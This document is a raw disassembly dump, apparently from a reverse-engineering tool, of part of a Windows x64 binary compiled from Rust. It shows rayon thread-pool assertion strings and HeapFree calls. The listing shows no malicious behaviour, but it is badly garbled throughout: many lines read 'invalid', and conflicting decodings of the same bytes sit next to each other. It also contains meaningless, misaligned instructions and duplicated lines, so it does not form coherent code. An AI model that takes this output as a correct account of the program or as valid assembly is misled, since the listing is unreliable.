mov edx, 0x2b
add byte [rax], al
call fcn.1400aa200
ud2
call fcn.1400ae3b0
add byte [rax + rax*8 - 0x2b07af1], al
invalid
test al, al
jne 0x14006825d
test dword [rdi - 3], ecx
invalid
invalid
inc esi
or byte [r9], al
or byte [rcx], al
mov byte [rbx + 8], 1
or byte [rcx], al
jmp 0x14006825d
std
invalid
call fcn.1400ae3b0
test al, al
ror byte [rdi], 0x85
paddd mm7, mm7
invalid
add byte [rax + rax*8 - 0x1f07af1], al
ror byte [rdi], 0x85
test dword [rdi], ecx
invalid
paddd mm7, mm7
inc esi
invalid
or byte [r9], al
jmp 0x140068333
invalid
invalid
invalid
invalid
invalid
dec dword [rbp + rcx*4 + 5]
lea r8, [0x1400e2908]
mov rcx, rdi
invalid
add byte [rax - 0x77], cl
stc
call fcn.1400a9d70
sbb byte [rax + rax], al
add al, 0
ud2
lea r8, [0x1400e28c0]
jnp case.0x140075b85.559
invalid
mov rcx, rbx
call fcn.1400a9d70
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str.assertion_failed:_t.get__.is_null__
lea rcx, str.assertion_failed:_t.get__.is_null__
movabs dword [0x7a34b058d4c0007], eax
add byte [rdx + 0x23], bh
mov edx, 0x23
lea r8, [0x1400e28a8]
movabs dword [0xe800000023ba0007], eax
mov edx, 0x23
add al, ch
call fcn.1400a9e70
or dword [rcx], ebx
add al, 0
sbb dword [rax + rax], eax
ud2
or ecx, dword [rax - 0x73]
lea rcx, str.assertion_failed:_t.get__.eq__self_as_const____
or eax, 0x7a2c0
add byte [rbp + rcx*4 + 5], cl
int1
movabs byte [0xe800000031ba0007], al
add byte [rdx + 0x31], bh
invalid
lea r8, [0x1400e2868]
add eax, 0x7a2f1
add byte [rdx + 0x31], bh
mov edx, 0x31
add byte [rax], al
add al, ch
call fcn.1400a9e70
out dx, eax
sbb byte [rax + rax], al
invalid
add byte [rdi], cl
or ecx, esp
ud2
int3
int3
int3
int3
int3
in al, dx
cmp byte [rax - 0x77], cl
mov eax, edx
invalid
invalid
mov eax, edx
mov qword [rsp + 0x30], rcx
and al, 0x30
and al, 0x30
lea r8, [rcx + 0x18]
lea rcx, [0x1400e2670]
leave
movabs al, byte [0x4828244c89480007]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rcx, [rsp + 0x30]
and al, 0x30
mov qword [rsp + 0x20], rcx
lea rdx, str.NulError_
adc eax, 0x83243
and byte [rax - 0x73], cl
adc eax, 0x83243
xor cl, byte [rax]
add byte [rbp + rcx*4 + 0xd], cl
mov word [rax - 0x76b7fff9], fs
lea r9, [0x1400e2650]
or eax, 0x7a08c
mov rcx, rax
call fcn.1400440e0
invalid
std
invalid
nop
shr eax, 0x14
mov ebx, 0x4890fffd
add esp, 0x38
add rsp, 0x38
ret
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
add byte [rax], al
mov rax, qword [0x1400f9138]
or ecx, dword [rcx]
add byte [rax - 0x7d], cl
clc
add esi, dword [rbp + 0x18]
invalid
or dword [rax], eax
cmp rax, 3
jne 0x140068617
invalid
sbb byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x28]
and al, 0x28
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
cmp rcx, 3
jne 0x140068661
add esi, dword [rbp + 0x52]
mov rsi, rax
jmp 0x1400686d4
invalid
add byte [rax], al
invalid
mov ebp, 0x48000000
lea eax, [rsp + 0x28]
and al, 0x28
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rax, [0x1400e2800]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0x90afa
invalid
movabs eax, dword [0x4820244489480007]
lea ecx, [0x1400f9138]
invalid
and byte [rax - 0x73], cl
or eax, 0x90afa
invalid
add byte [rbp + rcx*4 + 0xd], cl
sti
sahf
invalid
lea r9, [0x1400e2540]
lea r8, [rsp + 0x40]
and al, 0x40
and al, 0x40
xor edx, edx
call fcn.1400ada60
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
cmp rcx, 3
je 0x14006860f
cmp qword [0x1400f9130], 0
je 0x1400686e1
lea rsi, [0x1400f9130]
cmp rcx, 2
jb 0x1400686d4
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
add dh, byte [rdx + 0x4d]
add dh, byte [rdx + 0x4d]
test rcx, rcx
je 0x1400686d4
invalid
lea rdi, [rax - 1]
lea rdi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
mov ecx, ebx
pop rax
dec dword [rbx + rcx*4 + 0x70]
invalid
mov ecx, ebx
call qword [r14]
cmp qword [r14 + 8], 0
jle 0x1400686aa
invalid
je 0x1400686c2
jle 0x1400686aa
add byte [rbp + rbx + 0x49], dh
cmp dword [rsi + 0x10], 0x11
jle 0x1400686b9
invalid
cmp qword [r14 + 0x10], 0x11
jle 0x1400686b9
adc dword [rdx + 4], esi
jb 0x1400686b0
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x1400f91f8]
or dword [rax], eax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jge 0x1400686d7
add byte [rax - 0x77], cl
invalid
mov rax, rsi
mov eax, esi
add rsp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
and al, 0x30
lea rax, [0x1400e27e8]
add eax, 0x7a0f6
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.The_global_thread_pool_has_not_been_initialized.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.0_src_registry.rs
movabs al, byte [0x79f0b0d8d4c0007]
add byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x28]
lea r9, [0x1400e2610]
or ebx, dword [rdi - 0x72b3fff9]
and al, 0x28
invalid
lahf
invalid
lea r8, [rsp + 0x28]
sub byte [rdx + 0x30], bh
mov edx, 0x30
add byte [rax], al
add al, ch
call fcn.1400aa200
in al, dx
sbb al, byte [rax + rax]
add byte [rdi], cl
or ecx, esp
ud2
int3
int3
int3
sub rsp, 0x40
sub esp, 0x40
mov rsi, rdx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
invalid
invalid
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x7a35c
invalid
invalid
invalid
lea rdx, [0x1400e2a98]
lea edx, [0x1400e2a98]
movabs dword [0x14b8410007], eax
invalid
mov r8d, 0x14
mov eax, 0x14
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
je 0x14006876d
invalid
sbb byte [rax - 0x77], cl
je 0x14006876d
and al, 0x28
sub byte [rax - 0x39cfdbbc], cl
mov byte [rsp + 0x30], al
and al, 0x30
mov byte [rsp + 0x31], 0
lea rax, [0x1400687e0]
add eax, 0x86
and al, 0x31
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x805c5
invalid
or byte [rax], al
lea rdx, [0x1400e8d2b]
lea edx, [0x1400e8d2b]
add eax, 0x8d480008
or byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x38]
lea ecx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add al, ch
push rbp
call fcn.1400435d0
cmp byte [rsp + 0x31], 0
jl case.0x14004b0fb.170
xor dword [rax], eax
scasb al, byte [rdi]
std
inc dword [rax + 0x31247c]
jl case.0x14004b0fb.170
xor dword [rax], eax
add byte [rdi], cl
movzx eax, byte [rsp + 0x30]
mov dh, 0x44
and al, 0x30
xor byte [rax + rax*2 - 0x7c], dh
je case.0x140028086.339
test al, al
test al, al
sal byte [rax + 0x483a7501], 0x8b
mov al, 1
jne case.0x140028086.339
add dword [rbp + 0x3a], esi
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
and al, 0x28
sub dh, dh
xor al, 4
xor al, 4
test byte [rax + 0x34], 4
xor al, 4
add al, 0x75
invalid
jne 0x1400687af
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e3757]
adc eax, 0x7afb0
mov al, 0xaf
scasd eax, dword [rdi]
invalid
add byte [rcx - 0x48], al
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add bl, ch
jmp 0x1400687c4
mov rcx, qword [rax + 0x20]
add byte [rax], al
jmp 0x1400687c4
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1400e9593]
adc eax, 0x80dd5
or eax, 0xb8410008
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
push rax
sbb byte [rax + rax*8 + 0x48c0950f], al
test al, al
setne al
add rsp, 0x40
test al, al
setne al
add rsp, 0x40
invalid
pop rsi
ret
int3
int3
int3
int3
int3
int3
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
mov rsi, rdx
mov rsi, rdx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rcx, qword [rax]
test rcx, rcx
leave
je case.0x140028086.350
and byte [rbx + 0x3d7501f9], al
cmp ecx, 1
jne 0x140068836
invalid
add dword [rbp + 0x3d], esi
cmp eax, 0x204e8b48
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x7a2bc
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400e2ac8]
adc eax, 0x7a2bc
add byte [rcx - 0x48], al
sbb al, byte [rax]
add byte [rax], al
mov r8d, 0x1a
mov eax, 0x1a
jmp case.0x14004b11e.170
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e2aac]
adc eax, 0x7a285
add byte [rcx - 0x48], al
mov r8d, 0x1c
sbb al, 0
add byte [rax], al
add rsp, 0x48
add esp, 0x48
pop rbx
pop rbx
pop rsi
jmp rax
invalid
loopne case.0x140032048.249
add rax, 8
add eax, 8
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e2ae2]
xchg esp, eax
invalid
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x7a294
xchg esp, eax
invalid
invalid
invalid
xchg esp, eax
movabs byte [0x7b8410007], al
invalid
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 7
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
invalid
je case.0x140032048.249
invalid
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x30], esi
and al, 0x30
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
invalid
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
invalid
cmp byte [rax - 0x39], cl
and al, 0x28
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
and al, 0x39
mov byte [rsp + 0x39], 0
lea r8, [0x1400e2af0]
jnp 0x140068815
invalid
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
add byte [rbp + rcx*4 + 5], cl
jnp 0x140068815
invalid
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
call fcn.140043e60
mov rax, qword [rsp + 0x28]
and al, 0x28
std
dec dword [rax - 0x75]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
invalid
je 0x1400688e9
cmp byte [rax - 0x7b], cl
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
add dword [rcx + rcx*8 - 0x74b7ad8b], eax
test cl, cl
jne case.0x14002f3a6.288
mov rsi, qword [rsp + 0x30]
je case.0x14002f3a6.282
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x29], esi
jne 0x1400688cd
cmp rax, 1
jne 0x1400688cd
cmp byte [rsp + 0x39], 0
jl 0x1400688cb
cmp dword [rax], eax
je 0x1400688cd
test byte [rsi + 0x34], 4
xor al, 4
jne 0x1400688cd
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e76f5]
lea edx, [0x1400e76f5]
sub byte [rax - 0x73], r9b
adc eax, 0x7ee35
invalid
invalid
lea edx, [0x1400e76f5]
invalid
mov r8d, 1
mov eax, 1
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax + rax*8 - 0x74b7e18b], al
test al, al
jne case.0x14002f3a6.288
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x8049a
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
lea edx, [0x1400e8d76]
adc eax, 0x8049a
or byte [rax], al
mov r8d, 1
mov eax, 1
add bh, bh
push rax
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x14002f3a6.288
invalid
sbb byte [rcx - 0x76fd143d], cl
retf
add cl, byte [rcx + 0xfdb84cb]
xchg ebp, eax
mov ebx, ecx
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
ror byte [rax - 0x7d], 0xc4
pop rbx
invalid
pop rsi
ret
int3
int3
sub rsp, 0x28
mov rax, qword [rcx]
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rcx, [rsp + 0x20]
and al, 0x20
call case.0x140032048.272
or al, byte [rax]
add byte [rax], al
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
invalid
ret
int3
push r15
push r14
push rsi
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf8
sub esp, 0xf8
sub esp, 0xf8
add byte [rax], al
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rbx, qword [rax]
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
sbb byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
test ebx, ebx
fisttp dword [rdi]
je 0x140068d61
test byte [rbx], bl
add al, 0
add byte [rsi - 0x39], ah
invalid
invalid
test byte [rax + rdx*4], ah
nop
mov word [rsp + 0x90], 0
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x70
jo 0x140068968
add byte [rax], al
invalid
mov qword [rsp + 0x70], 0
jo 0x140068968
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x80], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x48], eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
and al, 0x28
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140068d80
mov r15, qword [rsp + 0x28]
jl 0x1400689b6
invalid
add byte [rbx + rcx*4 + 0x7c], cl
and al, 0x28
jl 0x1400689b6
sub byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
mov r14, qword [rsp + 0x30]
cmp r15, 3
je 0x1400689c5
invalid
invalid
cmp r15d, 2
jne case.default.0x1400689bc
xchg ebp, eax
add byte [rax], al
invalid
xchg ebp, eax
add byte [rax], al
add byte [rcx + rcx*4 - 0xa], al
mov esi, r14d
and esi, 3
add ecx, dword [rax - 0x73]
add eax, 0x86ffb
outsd dx, dword [rsi]
or byte [rax], al
invalid
lea rax, [0x1400ef9b0]
outsd dx, dword [rsi]
or byte [rax], al
invalid
add byte [rax + 0x63], cl
or al, 0xb0
movsxd rcx, dword [rax + rsi*4]
invalid
add rcx, rax
jmp rcx
sar edi, 0xe1
movzx eax, byte [r14 + 0x10]
jmp 0x140068a0a
invalid
mov dh, 0x46
adc bl, ch
mov r15, r14
mov r15, r14
test dword [rcx + rcx*4 - 0x44], 0x9824
add byte [rax - 0x7d], cl
invalid
invalid
cmp eax, 0x90758
or dword [rax], eax
mov qword [rsp + 0x98], r15
mov dword [rsp + 0x98], edi
add byte [rax], al
cmp qword [0x1400f9130], 0
je 0x1400689ef
or dword [rax], eax
add byte [rbp + rdx - 0x10], dh
dec qword [r15]
dec dword [rdi]
lock dec qword [r15]
dec dword [rdi]
jne 0x1400689f6
lea rcx, [rsp + 0x98]
call fcn.140067650
in al, dx
invalid
invalid
jmp 0x1400689f6
and al, 0x98
add byte [rax], al
add al, ch
invalid
in al, dx
invalid
invalid
mov qword [0x1400f9130], r15
cmp eax, 0x9073a
invalid
add byte [rcx - 0x41], al
mov r15d, 3
add eax, dword [rax]
add byte [rax], al
lea r14, [0x1400f9130]
sub eax, 0xeb000907
cmp byte [rcx + 0xf], al
movzx eax, byte [r14 + 0xf]
invalid
or dword [rax], eax
jmp case.default.0x1400689bc
movzx eax, byte [r14 + 0xf]
movzx eax, byte [rsi + 0xf]
invalid
cmp al, 0x24
je 0x140068a1c
invalid
invalid
jmp case.default.0x1400689bc
sub eax, 0x48f0894c
shr eax, 0x20
cmp eax, 0x78
call 0x1b8ff0d3a
and byte [rbx + 0x217578f8], al
jne case.default.0x1400689bc
and dword [rbx + 0x908a205], ecx
add byte [rbp + 0x48], ah
invalid
invalid
mov eax, dword [0x1400f92c4]
add eax, 0x908a2
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x98], 0
cmp dword [rax + 0x98], 0
cwde
add byte [rax], al
add byte [rax], al
je 0x140068af0
mov bl, 0
add byte [rax], al
mov rcx, qword [rbx]
mov ecx, dword [rbx]
mov rax, qword [rbx + 8]
cmp rcx, 3
cmp ecx, 3
cmp ecx, 3
add esi, dword [rdi + 0x1e]
ja case.0x140046a5e.201
invalid
cmp rcx, 2
stc
add dh, byte [rax + rbx + 0x4c]
je case.0x140046a5e.201
mov qword [rbx], r15
je case.0x140046a5e.201
mov qword [rbx], r15
mov qword [rbx + 8], r14
jae 0x140068a5f
add rsp, 0xf8
invalid
clc
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
push rcx
invalid
push rcx
dec byte [rax - 0x7d]
cmp rdx, 2
jb 0x140068a50
invalid
cmp rdx, 2
jb 0x140068a50
invalid
invalid
test rcx, rcx
test ecx, ecx
je 0x140068a50
lea rsi, [rax - 1]
lea esi, [rax - 1]
dec dword [rax - 0x75]
js 0x140068a83
mov rdi, qword [rax - 1]
dec dword [rbx + rcx*4 + 0x60]
invalid
mov r12, qword [rax + 7]
mov rcx, rdi
invalid
call qword [r12]
adc al, 0x24
cmp qword [r12 + 8], 0
je 0x140068ab5
and al, 8
add byte [rsi + rbx + 0x49], dh
cmp dword [rsp + 0x10], 0x11
jl 0x140068abf
adc byte [rcx], dl
cmp qword [r12 + 0x10], 0x11
jl 0x140068abf
adc byte [rcx], dl
jb 0x140068aa3
mov rdi, qword [rdi - 8]
mov edi, dword [rdi - 8]
jg case.0x1400689bc.202
clc
mov rcx, qword [0x1400f91f8]
invalid
or dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x47953
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x9073c
invalid
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140068a50
jns 0x140068aca
add bl, ch
xchg dword [rcx + rcx*4 - 0x10], ecx
mov rax, r14
mov rax, r14
mov eax, esi
invalid
shr rax, 0x20
cmp eax, 0x28
sub byte [rdi], cl
xchg dword [rcx + 1], ebp
add byte [rax], al
sub byte [rdi], cl
xchg dword [rcx + 1], ebp
add byte [rax], al
lea rcx, [0x1400ef9c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov qword [rsp + 0x98], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rbp*4], ah
add byte [rax], al
mov qword [rsp + 0xa8], 1
mov dword [rsp + 0xa8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xb0], 0
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
invalid
add byte [rax], al
mov qword [rsp + 0xc0], 0
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
invalid
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0xe0], 0
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rsi*8], ah
and al, 0xf0
mov word [rsp + 0xf0], 1
and al, 0xf0
lock add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
lea ecx, [rsp + 0x38]
lea rdx, [rsp + 0x98]
call fcn.140068d80
sub al, 2
add byte [rax], al
xchg esp, eax
and al, 0x98
add byte [rax], al
add al, ch
sub al, 2
add byte [rax], al
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x38
and al, 0x38
mov rax, qword [rsp + 0x38]
and al, 0x38
cmp byte [rax - 0x7d], cl
clc
add esi, dword [rbp + 0x69]
invalid
cmp rax, 3
jne case.0x14004b11e.113
invalid
imul ecx, dword [rbx + rcx*4 + 0x7c], 0x8d484024
mov r15, qword [rsp + 0x40]
lea rax, [rsi - 2]
lea eax, [rsi - 2]
lea eax, [rsi - 2]
dec byte [rax - 0x7d]
clc
add cl, byte [rdi]
invalid
cmp rax, 2
jb 0x1400689c8
invalid
test rsi, rsi
test esi, esi
test byte [rdi], 0x84
invalid
je 0x1400689c8
dec dword [rcx - 0x73]
jbe 0x140068b7e
lea rsi, [r14 - 1]
dec dword [rcx - 0x75]
mov rdi, qword [r14 - 1]
jle case.0x14004b11e.103
dec dword [rbp - 0x75]
mov r14, qword [r14 + 7]
mov rcx, rdi
mov ecx, edi
jbe 0x140068b8e
mov ecx, edi
stc
call qword [r14]
cmp qword [r14 + 8], 0
jle 0x140068b99
invalid
invalid
jle 0x140068b99
or byte [rax], al
add byte [rbp + rbx + 0x49], dh
cmp dword [rsi + 0x10], 0x11
jle case.0x14004e78a.44
invalid
je 0x140068bb1
sbb eax, 0x107e8349
cmp qword [r14 + 0x10], 0x11
jle case.0x14004e78a.44
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140068b9f
add al, 0x48
mov edi, dword [rdi - 8]
jg case.0x14004b11e.106
mov rdi, qword [rdi - 8]
jg case.0x14004b11e.106
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x90652
or dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov r8, rdi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x47857
add al, 0
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x90640
or dword [rax], eax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
js 0x140068bc6
add al, 0
add cl, ch
jmp 0x1400689c8
add dh, bh
invalid
inc dword [rbx - 0x7df0fd08]
insb byte [rdi], dx
cmp eax, 2
jb case.default.0x1400689bc
invalid
invalid
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov ecx, eax
mov ecx, eax
and ecx, 3
loope 0x140068bde
lea rdx, [rcx - 2]
lea edx, [rcx - 2]
push rcx
dec byte [rax - 0x7d]
cli
add cl, byte [rdi]
invalid
cmp rdx, 2
cmp edx, 2
jb case.default.0x1400689bc
invalid
invalid
invalid
test rcx, rcx
test ecx, ecx
leave
je case.default.0x1400689bc
test byte [rbx - 2], cl
invalid
invalid
dec dword [rax - 0x73]
lea rsi, [rax - 1]
jo case.0x14004e78a.55
dec dword [rax - 0x75]
mov rdi, qword [rax - 1]
mov r12, qword [rax + 7]
mov esp, dword [rax + 7]
js case.0x14004b11e.120
dec dword [rbx + rcx*4 + 0x60]
invalid
mov esp, dword [rax + 7]
invalid
mov rcx, rdi
mov ecx, edi
stc
call qword [r12]
call qword [rsp]
adc al, 0x24
cmp qword [r12 + 8], 0
cmp dword [rsp + 8], 0
jl case.0x14004e78a.63
or byte [rax], al
add byte [rsi + rbx + 0x49], dh
je 0x140068c2b
cmp qword [r12 + 0x10], 0x11
cmp dword [rsp + 0x10], 0x11
and al, 0x10
adc dword [rdx + 4], esi
invalid
adc byte [rcx], dl
jb 0x140068c19
add al, 0x48
mov edi, dword [rdi - 8]
jg case.0x14004e78a.59
mov rdi, qword [rdi - 8]
jg case.0x14004e78a.59
clc
mov rcx, qword [0x1400f91f8]
or eax, 0x905d8
or dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 0x77], cl
mov r8, rdi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x477dd
add al, 0
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x905c6
or dword [rax], eax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
ja 0x140068c40
add al, 0
add cl, ch
jmp case.default.0x1400689bc
sti
std
invalid
push qword [rax - 0x23e16d7]
invalid
mov al, 0x29
jmp 0x140068a0a
sar ebp, 0xff
invalid
sar ebp, 0xff
push qword [rax - 0x24516ff]
invalid
mov al, 1
jmp 0x140068a0a
invalid
std
invalid
invalid
mov edx, 0xb0fffffd
add ch, cl
push qword [rax - 0x24c16fe]
mov al, 2
jmp 0x140068a0a
mov bl, 0xfd
invalid
invalid
mov bl, 0xfd
invalid
push qword [rax - 0x25316fd]
mov al, 3
jmp 0x140068a0a
lodsb al, byte [rsi]
std
invalid
invalid
lodsb al, byte [rsi]
std
invalid
push qword [rax - 0x25a16fc]
mov al, 4
jmp 0x140068a0a
movsd dword [rdi], dword [rsi]
std
invalid
invalid
movsd dword [rdi], dword [rsi]
std
invalid
push qword [rax - 0x26116fb]
mov al, 5
jmp 0x140068a0a
sahf
std
invalid
invalid
sahf
std
invalid
push qword [rax - 0x26816fa]
mov al, 6
jmp 0x140068a0a
xchg edi, eax
std
invalid
invalid
xchg edi, eax
std
invalid
push qword [rax - 0x26f16f9]
mov al, 7
jmp 0x140068a0a
nop
std
invalid
invalid
nop
std
invalid
push qword [rax - 0x27616f8]
mov al, 8
jmp 0x140068a0a
mov ebp, edi
invalid
invalid
